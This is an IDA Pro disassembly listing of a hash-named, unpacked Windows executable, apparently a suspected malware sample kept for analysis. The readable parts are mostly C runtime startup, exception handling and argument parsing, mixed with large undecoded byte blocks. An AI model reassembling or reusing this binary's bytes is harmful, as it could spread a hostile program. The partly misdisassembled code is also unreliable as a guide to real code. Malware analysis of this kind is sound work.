;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	DF9D39055C34895DE05B52761D925328

; File Name   :	u:\work\df9d39055c34895de05b52761d925328_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00004000 (  16384.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		db 55h,	7Fh, 53h
		dd 0E24ECFAFh, 4E607A0Fh, 1693B19Ah, 2E0D8248h,	0F0F8B9CDh
		dd 35515F2Bh, 583CAE22h, 24CCF640h, 0DD2CF164h,	0F58275F4h
		dd 71F9728h, 3AB5A713h,	2CB78B68h, 0F2186D0Dh, 0E0FDC8FAh
		dd 0F463913h, 0F1BFA4D0h, 6494A003h, 0F0482406h, 4C30F71Ah
		dd 4C6661C7h, 0C1870685h, 1C10601h, 160CC1B7h, 0CF80D1DCh
		dd 353C2193h, 0C3B321Bh, 7906FA65h, 0F544E82Fh,	0D6EF2AAh
		dd 0A73DC432h, 0DF927AB0h, 8FF868A4h, 28F3E4F6h, 7AB822FEh
		dd 79187D70h, 31A7D315h, 6771C085h, 0A5B8E644h,	0B4A293F1h
		dd 0A9C85C7Ah, 1E08996Fh, 3D13D801h, 0A795902Bh, 6AF7D423h
		dd 8307C112h, 0AF14D29Dh, 83587EE7h, 0F8124AE9h, 1E99B3FFh
		dd 3C33BB21h, 30788FAh,	70B3A739h, 3B7A0B41h, 5FBF715Ah
		dd 0DC24F06Fh, 0CB4B3792h, 0F12EE970h, 4394FFF7h, 3046FDB6h
		dd 79690768h, 8AEA75F9h, 32C2324Ah, 0F7CAE6D9h,	0BCA01A7Ah
		dd 0EDFB944h, 1464149h,	7781CBAAh, 1CC0B4F8h, 934CA014h
		dd 87B506EFh, 0AD639EEFh, 0D88F4DB9h, 0BEFB60C0h, 9ED46D7h
		dd 0C23B1497h, 55707664h, 9966EB5Dh, 0A7C66284h, 7A5B98E8h
		dd 8F1BD6A5h, 0FC62E1EDh, 0D2C14194h, 0A2493BB0h, 8546145Ah
		dd 6D27C95h, 0B8B842F1h, 82729D74h, 0B15AC3C5h,	825985C6h
		dd 0B78E2D03h, 4BD6E89Fh, 71225BBCh, 65033E73h,	0CAE023D8h
		dd 8ABCB7B4h, 777921D6h, 2FF9573Bh, 0F9B48B5Eh,	94610A7Eh
		dd 3FFA1CA1h, 6838DB9Eh, 0CC28088Ch, 0FAA3343Eh, 79B403C9h
		dd 0EE9262Dh, 0B9FFF80Eh, 0F80E0EE9h, 7CD62DFFh, 0E38BC8B4h
		dd 940E7414h, 0E3E3A61Dh, 0B66180C3h, 2DC38674h, 6B3145h
		dd 990CACC3h, 1AD46552h, 0CFE73A48h, 0DCA3752Ch, 0F48BE5CEh
		dd 90E4B31Ch, 0EE42CEDBh, 0B8A10CC7h, 39CC5BA5h, 6A24A350h
		dd 4A0C29DBh, 408D9643h, 84010B44h, 0CEB9BC60h,	0B9191B23h
		dd 0B0778025h, 40CCD670h, 280BC733h, 938B52E9h,	4208EA7Dh
		dd 8DFA75E4h, 9970BD50h, 22834AFBh, 9C31A21Bh, 0B92D6085h
		dd 6CE1B615h, 10CD38DFh, 47DE09B3h, 0AB87C68Ah,	80AADCE1h
		dd 0DC94000Eh, 14A50A1Ah, 55657BB7h, 0BA155A47h, 480F211Eh
		dd 9774096Fh, 2206E683h, 1EE9473Ch, 0C5FFF7F4h,	9142D24Ah
		dd 673FF14Fh, 0F4269E49h, 0E95C14F9h, 61BF8AF0h, 0D52BFE90h
		dd 0CF982ABCh, 8B116341h, 88BEC45h, 4D89098Bh, 0E85150DCh
		dd 374h, 8BC35959h, 7D8BE865h, 0E47D83DCh, 57067500h, 180E8h
		dd 19BE800h, 0A4E90000h, 8FFF80Ch, 0D3E6D8CFh, 0BC64A874h
		db 0E0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012C9	proc near		; CODE XREF: sub_401363+BAp
		jmp	near ptr 380DB6h
sub_4012C9	endp

; ---------------------------------------------------------------------------
		dw 0E9B6h
; ---------------------------------------------------------------------------

loc_4012D0:				; CODE XREF: seg000:loc_4012D0j
		jge	short loc_4012D0
		push	eax
; ---------------------------------------------------------------------------
		db 0F2h
		dd 7247F6B8h, 5240C42Ah, 1301848Ch, 0D070A565h,	0A3B447D1h
		dd 0C7CC8218h, 378A2F1Bh, 0A5C0DD16h, 2FB2C2Bh,	0FF8BE9CCh
		dd 5CE5FFF7h, 446B4613h, 0F5BCAE5Eh, 1D9D0EDEh,	0B823FA21h
		dd 0F778BE98h, 6F40BACAh, 37F9665Ah, 92E6FE70h,	44434C22h
		dd 9DDB09CEh, 0EF4BDE94h, 0FB6BFB46h, 6AD2B09Fh, 884CA791h
		dd 0C1BA8DDBh, 93D55E5Dh, 0F89D93C9h, 8289E0AAh, 0A7BE65DCh
		dd 0F6E14FFAh, 34446C51h, 907F3458h, 8FCA24D6h,	32979B20h
		db 0Ch,	7Bh, 3Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401363	proc near		; CODE XREF: seg000:0040142Cp
					; sub_401435+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		inc	esi
		cmp	ds:dword_407358, esi
		push	edi
		jnz	short loc_401383
		push	[ebp+arg_0]
		call	near ptr 0A90004h
		jmp	far ptr	6Ah:0EC82E850h
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------

loc_401383:				; CODE XREF: sub_401363+Ej
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	ds:dword_407354, esi
		mov	ds:byte_407350,	al
		jnz	short loc_4013E9
		mov	ecx, ds:dword_407888
		test	ecx, ecx
		jz	short loc_4013CA
		mov	eax, ds:dword_407884
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_4013C3
; ---------------------------------------------------------------------------

loc_4013AD:				; CODE XREF: sub_401363+65j
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4013B5
		call	eax

loc_4013B5:				; CODE XREF: sub_401363+4Ej
		mov	eax, ds:dword_407884
		sub	eax, 4
		cmp	eax, ds:dword_407888

loc_4013C3:				; CODE XREF: sub_401363+48j
		mov	ds:dword_407884, eax
		jnb	short loc_4013AD

loc_4013CA:				; CODE XREF: sub_401363+3Cj
		mov	eax, offset dword_40701C
		mov	esi, offset dword_407020
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_4013E9

loc_4013DA:				; CODE XREF: sub_401363+84j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4013E2
		call	eax

loc_4013E2:				; CODE XREF: sub_401363+7Bj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4013DA

loc_4013E9:				; CODE XREF: sub_401363+32j
					; sub_401363+75j
		mov	eax, offset dword_407024
		mov	esi, offset dword_407028
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_401408

loc_4013F9:				; CODE XREF: sub_401363+A3j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_401401
		call	eax

loc_401401:				; CODE XREF: sub_401363+9Aj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4013F9

loc_401408:				; CODE XREF: sub_401363+94j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jnz	short loc_401422
		push	[ebp+arg_0]
		mov	ds:dword_407358, 1
		call	sub_4012C9
; ---------------------------------------------------------------------------

loc_401422:				; CODE XREF: sub_401363+ABj
		pop	ebp
		retn
sub_401363	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_401363
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401435	proc near		; CODE XREF: seg000:00403E79p

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_401363
		add	esp, 0Ch
		retn
sub_401435	endp

; ---------------------------------------------------------------------------
		push	1
		push	0
		push	0
		call	sub_401363
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	1
		push	1
		push	0
		call	sub_401363
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		dd 0F807E3E9h, 44C5FFh,	0F4ABB7C8h, 7BB2292Fh, 1EA7B411h
		dd 0DBEC9537h, 0A26DC975h, 33A95D26h, 8323BDD2h, 0E9E1505Ah
		dd 0A44AA7FAh, 778B150Dh, 7D4C6F63h, 7370508Ch,	5111F6Fh
		dd 0EF07A309h, 0FDA2073Ch, 2C6570F1h, 88E9A90Ch, 8C4075DDh
		dd 9728432h, 0E9F83808h, 5D459B9Bh, 2FBE3D5Ch, 62CBDCE1h
		dd 4ABD1010h, 0C9CB53EBh, 635F23D2h, 3F6C2525h,	6C966F84h
		dd 0DE4E6A3Ch, 442F881h, 0F7B3C97Eh, 9B9C0D81h,	26B6E9AFh
		dd 0F6BB6602h, 0B390B58Ah, 0FD1C0E3Eh, 52F46FB9h, 0D4451BBFh
		dd 1D738B71h, 4A773775h, 0EFF36990h, 996BFC63h,	0D3BCE54h
		dd 73211ED9h, 13843F9Dh, 5AC05B43h, 412817BFh, 57875481h
		dd 0C5182EAh, 0EEC91AD4h, 6C93D19h, 74029E5Bh, 12CC2295h
		dd 0A5F0E61Bh, 0E9F19011h, 95C81D9Ch, 0F422983Fh, 0EF746417h
		dd 6DA00111h, 80DD822Fh, 0D0221876h, 16565D3Ah,	0AFF553AFh
		dd 0ABFE3F23h, 0B93AC232h, 0E64DF3D0h, 25254F1Bh, 0E797B121h
		dd 6A5DD136h, 64B5D177h, 405EEE8Ch, 15AE5AD5h, 0F9F5CB8Ch
		dd 767C5889h, 25C390B8h, 0CFD70765h, 87D8B3EEh,	9917CE8Eh
		dd 5B57243Bh, 222106D8h, 0EB31353Bh, 906B93AEh,	78EA600Eh
		dd 32085291h, 0E974D8DFh, 0FFF7F7CAh, 0D612EBF3h, 0F464C8B4h
		dd 5B4F324Eh, 80C81B92h, 3E0E90E6h, 0E959559Eh,	0FFF80456h
		dd 8756BFABh, 9AC26E90h, 85492154h, 0A336A8FBh,	0DF87D869h
		dd 0A7A226B0h, 6EBFC7ECh, 6024D518h, 0F7980A9Bh, 0A3A20C92h
		dd 9F658009h, 0B84E369Bh, 0A1DC2C4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, ds:dword_4071A8
		push	ebx
		mov	ecx, offset dword_407128
		push	esi

loc_401626:				; CODE XREF: seg000:00401639j
		cmp	[ecx], edx
		jz	short loc_40163B
		lea	esi, [eax+eax*2]
		add	ecx, 0Ch
		lea	esi, ds:407128h[esi*4]
		cmp	ecx, esi
		jb	short loc_401626

loc_40163B:				; CODE XREF: seg000:00401628j
		lea	eax, [eax+eax*2]
		lea	eax, ds:407128h[eax*4]
		cmp	ecx, eax
		jnb	short loc_40164D
		cmp	[ecx], edx
		jz	short loc_40164F

loc_40164D:				; CODE XREF: seg000:00401647j
		xor	ecx, ecx

loc_40164F:				; CODE XREF: seg000:0040164Bj
		test	ecx, ecx
		jz	loc_401778
		mov	ebx, [ecx+8]
		test	ebx, ebx
		jz	loc_401778
		cmp	ebx, 5
		jnz	short loc_401673
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_401781
; ---------------------------------------------------------------------------

loc_401673:				; CODE XREF: seg000:00401665j
		cmp	ebx, 1
		jz	loc_401773
		mov	eax, ds:dword_407360
		mov	[ebp+8], eax
		mov	eax, [ebp+0Ch]
		mov	ds:dword_407360, eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_401763
		mov	eax, ds:dword_4071A0
		mov	edx, ds:dword_4071A4
		add	edx, eax
		cmp	eax, edx
		jge	short loc_4016BE
		lea	esi, [eax+eax*2]
		lea	esi, ds:407130h[esi*4]
		sub	edx, eax

loc_4016B5:				; CODE XREF: seg000:004016BCj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_4016B5

loc_4016BE:				; CODE XREF: seg000:004016A7j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	esi, ds:dword_4071AC
		jnz	short loc_4016DA
		mov	ds:dword_4071AC, 83h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_4016DA:				; CODE XREF: seg000:004016CCj
		cmp	ecx, 0C0000090h
		jnz	short loc_4016EE
		mov	ds:dword_4071AC, 81h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_4016EE:				; CODE XREF: seg000:004016E0j
		cmp	ecx, 0C0000091h
		jnz	short loc_401702
		mov	ds:dword_4071AC, 84h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_401702:				; CODE XREF: seg000:004016F4j
		cmp	ecx, 0C0000093h
		jnz	short loc_401716
		mov	ds:dword_4071AC, 85h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_401716:				; CODE XREF: seg000:00401708j
		cmp	ecx, 0C000008Dh
		jnz	short loc_40172A
		mov	ds:dword_4071AC, 82h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_40172A:				; CODE XREF: seg000:0040171Cj
		cmp	ecx, 0C000008Fh
		jnz	short loc_40173E
		mov	ds:dword_4071AC, 86h
		jmp	short loc_401750
; ---------------------------------------------------------------------------

loc_40173E:				; CODE XREF: seg000:00401730j
		cmp	ecx, 0C0000092h
		jnz	short loc_401750
		mov	ds:dword_4071AC, 8Ah

loc_401750:				; CODE XREF: seg000:004016D8j
					; seg000:004016ECj ...
		push	ds:dword_4071AC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_4071AC, esi
		jmp	short loc_40176A
; ---------------------------------------------------------------------------

loc_401763:				; CODE XREF: seg000:00401692j
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx

loc_40176A:				; CODE XREF: seg000:00401761j
		mov	eax, [ebp+8]
		pop	ecx
		mov	ds:dword_407360, eax

loc_401773:				; CODE XREF: seg000:00401676j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401781
; ---------------------------------------------------------------------------

loc_401778:				; CODE XREF: seg000:00401651j
					; seg000:0040165Cj
		push	dword ptr [ebp+0Ch]
		call	ds:dword_405040	; UnhandledExceptionFilter

loc_401781:				; CODE XREF: seg000:0040166Ej
					; seg000:00401776j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 6Dh, 0FDh
		dd 0F054FFF7h, 8A64915Fh, 0A7823AD7h, 0EE561DC1h, 124B8603h
		dd 8729AAE1h, 44E53A1Fh, 0FA5EE908h, 689AFFF7h,	0BAA4A6F7h
		dd 0DFF6B5DAh, 0E815F792h, 6DD9E5DDh, 5285C8BFh, 7B4D12F0h
		dd 0F27B95ABh, 672EE2E7h, 27334855h, 0DFA6238Eh, 0D5418F6Dh
		dd 587AA26Ch, 0C68B5F80h, 3353C35Eh, 8C1D39DBh,	56004078h
		dd 0E8057557h, 10E4h, 7300358Bh, 0FF330040h, 1275F33Bh
		dd 3D3C30EBh, 56470174h, 0BF3E8h, 748D5900h, 68A0106h
		dd 0EA75C33Ah, 4BD048Dh, 50000000h, 117BE8h, 3BF88B00h
		dd 3D8959FBh, 407338h, 0C8830575h, 8B58EBFFh, 40730035h
		dd 2AEB5500h, 0BBAE856h, 0E88B0000h, 3D3E8045h,	55197459h
		dd 114BE8h, 59C33B00h, 37740789h, 6DE85056h, 59000009h
		dd 4C78359h, 1E38F503h,	35FFD275h, 407300h, 107DE8h, 1D8900h
		dd 89004073h, 8005C71Fh, 1004078h, 33000000h, 5F5D59C0h
		dd 0FFC35B5Eh, 40733835h, 1058E800h, 1D890000h,	407338h
		dd 0EBFFC883h
		db 0E4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+0Ch]
		xor	edx, edx
		cmp	[ebp+8], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_4018CC
		mov	ecx, [ebp+8]
		add	dword ptr [ebp+8], 4
		mov	[ecx], edi

loc_4018CC:				; CODE XREF: seg000:004018C1j
					; seg000:0040190Ej ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_4018DF
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_40190C
; ---------------------------------------------------------------------------

loc_4018DF:				; CODE XREF: seg000:004018CFj
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_4018EA
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi

loc_4018EA:				; CODE XREF: seg000:004018E3j
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	ds:byte_407541[ebx], 4
		jz	short loc_401905
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_401904
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi

loc_401904:				; CODE XREF: seg000:004018FDj
		inc	eax

loc_401905:				; CODE XREF: seg000:004018F7j
		test	cl, cl
		mov	ebx, [ebp+0Ch]
		jz	short loc_40193E

loc_40190C:				; CODE XREF: seg000:004018DDj
		test	edx, edx
		jnz	short loc_4018CC
		cmp	cl, 20h
		jz	short loc_40191A
		cmp	cl, 9
		jnz	short loc_4018CC

loc_40191A:				; CODE XREF: seg000:00401913j
		test	edi, edi
		jz	short loc_401922
		mov	byte ptr [edi-1], 0

loc_401922:				; CODE XREF: seg000:0040191Cj
					; seg000:0040193Fj
		and	dword ptr [ebp-4], 0

loc_401926:				; CODE XREF: seg000:00401A00j
		cmp	byte ptr [eax],	0
		jz	loc_401A05

loc_40192F:				; CODE XREF: seg000:0040193Cj
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_40193B
		cmp	cl, 9
		jnz	short loc_401941

loc_40193B:				; CODE XREF: seg000:00401934j
		inc	eax
		jmp	short loc_40192F
; ---------------------------------------------------------------------------

loc_40193E:				; CODE XREF: seg000:0040190Aj
		dec	eax
		jmp	short loc_401922
; ---------------------------------------------------------------------------

loc_401941:				; CODE XREF: seg000:00401939j
		cmp	byte ptr [eax],	0
		jz	loc_401A05
		cmp	dword ptr [ebp+8], 0
		jz	short loc_401959
		mov	ecx, [ebp+8]
		add	dword ptr [ebp+8], 4
		mov	[ecx], edi

loc_401959:				; CODE XREF: seg000:0040194Ej
		inc	dword ptr [ebx]

loc_40195B:				; CODE XREF: seg000:004019EEj
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_401964
; ---------------------------------------------------------------------------

loc_401962:				; CODE XREF: seg000:00401967j
		inc	eax
		inc	edx

loc_401964:				; CODE XREF: seg000:00401960j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_401962
		cmp	byte ptr [eax],	22h
		jnz	short loc_401994
		test	dl, 1
		jnz	short loc_401992
		cmp	dword ptr [ebp-4], 0
		jz	short loc_401985
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_401985
		mov	eax, ecx
		jmp	short loc_401987
; ---------------------------------------------------------------------------

loc_401985:				; CODE XREF: seg000:00401977j
					; seg000:0040197Fj
		xor	ebx, ebx

loc_401987:				; CODE XREF: seg000:00401983j
		xor	ecx, ecx
		cmp	[ebp-4], ecx
		setz	cl
		mov	[ebp-4], ecx

loc_401992:				; CODE XREF: seg000:00401971j
		shr	edx, 1

loc_401994:				; CODE XREF: seg000:0040196Cj
		test	edx, edx
		jz	short loc_4019A5

loc_401998:				; CODE XREF: seg000:004019A3j
		test	edi, edi
		jz	short loc_4019A0
		mov	byte ptr [edi],	5Ch
		inc	edi

loc_4019A0:				; CODE XREF: seg000:0040199Aj
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_401998

loc_4019A5:				; CODE XREF: seg000:00401996j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4019F3
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4019BB
		cmp	cl, 20h
		jz	short loc_4019F3
		cmp	cl, 9
		jz	short loc_4019F3

loc_4019BB:				; CODE XREF: seg000:004019AFj
		test	ebx, ebx
		jz	short loc_4019ED
		test	edi, edi
		jz	short loc_4019DC
		movzx	edx, cl
		test	ds:byte_407541[edx], 4
		jz	short loc_4019D5
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]

loc_4019D5:				; CODE XREF: seg000:004019CDj
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_4019EB
; ---------------------------------------------------------------------------

loc_4019DC:				; CODE XREF: seg000:004019C1j
		movzx	ecx, cl
		test	ds:byte_407541[ecx], 4
		jz	short loc_4019EB
		inc	eax
		inc	dword ptr [esi]

loc_4019EB:				; CODE XREF: seg000:004019DAj
					; seg000:004019E6j
		inc	dword ptr [esi]

loc_4019ED:				; CODE XREF: seg000:004019BDj
		inc	eax
		jmp	loc_40195B
; ---------------------------------------------------------------------------

loc_4019F3:				; CODE XREF: seg000:004019A9j
					; seg000:004019B4j ...
		test	edi, edi
		jz	short loc_4019FB
		mov	byte ptr [edi],	0
		inc	edi

loc_4019FB:				; CODE XREF: seg000:004019F5j
		inc	dword ptr [esi]
		mov	ebx, [ebp+0Ch]
		jmp	loc_401926
; ---------------------------------------------------------------------------

loc_401A05:				; CODE XREF: seg000:00401929j
					; seg000:00401944j
		mov	eax, [ebp+8]
		test	eax, eax
		jz	short loc_401A0F
		and	dword ptr [eax], 0

loc_401A0F:				; CODE XREF: seg000:00401A0Aj
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0DDh, 3
		dd 861BFFF8h, 47E03A79h, 0EF94AF70h, 0C7628E68h, 8E4779AAh
		dd 0FC0AF1A6h, 796E9CFBh, 0FB0C6C40h, 0A97E7C23h, 9DCD8FB1h
		dd 0CA4A70C7h, 1A37B4F7h, 12FD9279h, 0ADD2D3EAh, 38E919EDh
		dd 51C2E6EDh, 7119459Ah, 837FDBE8h, 81BDDA98h, 1C6B189Bh
		dd 0D8692EDBh, 37318D37h, 0C216BFB5h, 2AF75C4Bh, 0AA0165ACh
		dd 8D650907h, 655208A2h, 536C3CC1h, 9198EF46h, 0EDEF19DDh
		dd 0C119CDDh, 893521F1h, 69C03258h, 5125A348h, 885F78B6h
		dd 0C65CC6ABh, 32105EBEh, 2D0E1886h, 42E91F01h,	0E9FFF7FEh
		dd 0FFF80797h, 6A96DE3Eh, 0C32F0CBDh, 311846Eh,	0F2C6E5E2h
		dd 50BECC2Ah, 70A81DD1h, 8E689F9Ah, 11329C54h, 77C68FCAh
		dd 0B0010AB1h, 181362F3h, 4F2BD4E1h, 0B7672017h, 4344CE15h
		dd 0D1F1B6EDh, 743C5885h, 1BF63029h, 0F7EEC6E9h, 12CE9FFh
		dd 91BFFF8h, 0C9A29CF0h, 41A9CEA2h, 0DEA8D730h,	4DCEFD0Eh
		dd 0FD99DCE3h, 0E56D53B0h, 9EABEF0Eh, 24EA9A14h, 0EE3F72ACh
		dd 30BA1F67h, 4C980C1Bh, 4B656D0h, 0C85959DAh, 39491E15h
		dd 0C4D8309Ah, 0E863838Bh, 94407694h, 994D2265h, 3A81803Eh
		dd 41371043h, 2C120A44h, 54AB5419h, 2B82B4D6h, 0E2C0F864h
		dd 2BDC1E48h, 0CA28A1B0h, 4AD685FDh, 0F406BA6Fh, 0DAD3F8A6h
		dd 0A897301Dh, 75B51FCEh, 0E4B2BDB2h, 277D87B9h, 0D50BC971h
		dd 0A2C08E90h, 514CCBF3h, 8BE3D3DFh, 67054F92h,	0CC343666h
		dd 15D7A20h, 2C2702Fh, 8FA529E5h, 0EB193702h, 0CBA99D01h
		dd 0F7BAEB20h, 89DDB402h, 0DC74E451h, 5DEE9E6h,	397EFFF8h
		dd 4E9B55Eh, 55FFF7EDh,	44EC835Dh, 10068h, 0DBAE800h, 0C0850000h
		dd 83087559h, 8DE9FFC8h, 0A3000001h, 407780h, 776805C7h
		dd 200040h, 888D0000h, 100h, 8831AEBh, 440C6FFh, 540C600h
		dd 800D8B0Ah, 83004077h, 0C18108C0h, 100h, 0E272C13Bh
		dd 8D575653h, 500C2444h, 6CE3CFE8h, 8366AE00h, 3E247Ch
		dd 0C7840Fh, 448B0000h,	0C0854024h, 0BB840Fh, 308B0000h
		dd 4688D55h, 800B8h, 8DF03B00h,	27C2E1Ch, 3539F08Bh, 407768h
		dd 84BF527Dh, 68004077h, 100h, 0D27E8h,	59C08500h, 5833874h
		dd 407768h, 8D078920h, 10088h, 8316EB00h, 40C6FF08h, 40C60004h
		dd 0F8B0A05h, 8108C083h, 100C1h, 72C13B00h, 4C783E6h, 77683539h
		dd 0BB7C0040h, 358B06EBh, 407768h, 0F685FF33h, 38B467Eh
		dd 74FFF883h, 4D8A36h, 7401C1F6h, 8C1F62Eh, 0E8500B75h
		dd 6EE328h, 74C08548h, 0C1C78B1Eh, 48B05F8h, 40778085h
		dd 83CF8B00h, 48D1FE1h,	890B8BC8h, 4D8A08h, 47044888h
		dd 4C38345h, 0BA7CFE3Bh, 0A1DB335Dh, 407780h, 83D8348Dh
		dd 4D75FF3Eh, 46C6DB85h, 5758104h, 0EB58F66Ah, 48C38B0Ah
		dd 0C01BD8F7h, 50F5C083h, 70E2CFE8h, 0F88B3A00h, 74FFFF83h
		dd 0C1E85717h, 400072E2h, 0C74C085h, 0FF25h, 2F88300h
		dd 6753E89h, 40044E80h,	0F8830FEBh, 800A7503h, 0EB08044Eh
		dd 44E8004h, 0FB834380h, 0FF9C7C03h, 40776835h,	0E28AE800h
		dd 5FD10074h, 5BC0335Eh, 0C344C483h, 0F80314E9h, 4E105FFh
		dd 19CA02C6h, 0D6D39E3Bh, 0E931B1E7h, 0FFF803C4h, 0D0398AC6h
		dd 62900E76h, 184C6259h, 490AA351h, 1BA9444Eh, 40C0336Ah
		dd 0E8658BC3h, 0F7F2EDE9h, 4750C1FFh, 0ACE9C3A7h, 0F4FFF7FBh
		dd 48680C6Ah, 0E8004055h, 0A4h,	94E445C7h, 8100405Dh, 5D94E47Dh
		dd 22730040h, 0FC6583h,	8BE4458Bh, 74C08500h, 0EBD0FF0Bh
		dd 40C03307h, 0E8658BC3h, 0FFFC4D83h, 4E44583h,	0A8E8D5EBh
		dd 0C3000000h, 73183D83h, 75020040h, 243D830Dh,	5004073h
		dd 0C0330472h, 36AC340h, 0C033C358h, 4244439h, 940F006Ah
		dd 100068C0h, 0FF500000h, 40506815h, 0A3C08500h, 407760h
		dd 0C1E82A74h, 83FFFFFFh, 64A303F8h, 75004077h,	3F8681Eh
		dd 9EE80000h, 8500000Eh, 0F7559C0h, 776035FFh, 15FF0040h
		dd 405064h, 33C3C033h, 0CCC340C0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E78	proc near		; CODE XREF: sub_4024BC-2Ap
					; sub_403D37+Ap ...
		jmp	near ptr 38088Eh
sub_401E78	endp

; ---------------------------------------------------------------------------
		db 92h,	0D4h, 75h
		dd 7A9438A9h, 0C8896A6Bh, 4B58D0DCh, 7F2467EDh,	0CC3224BEh
		dd 0DA56C370h, 87B3D79Fh, 85A17932h, 0DDBB3661h, 0D1681334h
		dd 0D26CC8C8h, 91478A2Eh
		db 9Eh,	0FCh, 72h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EB3	proc near		; CODE XREF: sub_403E7F+3B6p
					; seg000:004043EFp ...
		jmp	near ptr 3820DEh
sub_401EB3	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:1E7F96DBh
		retf
; ---------------------------------------------------------------------------
		push	edx
		or	[edi-2Ch], al
		test	eax, 3243566Eh
		xor	[eax+43h], bl
		xor	[eax], dh
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_401F95
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40390E
		add	esp, 4
		or	eax, eax
		jz	short loc_401F87

loc_401F0C:				; CODE XREF: seg000:00401F7Ej
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401F8E
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4+4]
		or	eax, eax
		jz	short loc_401F75
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
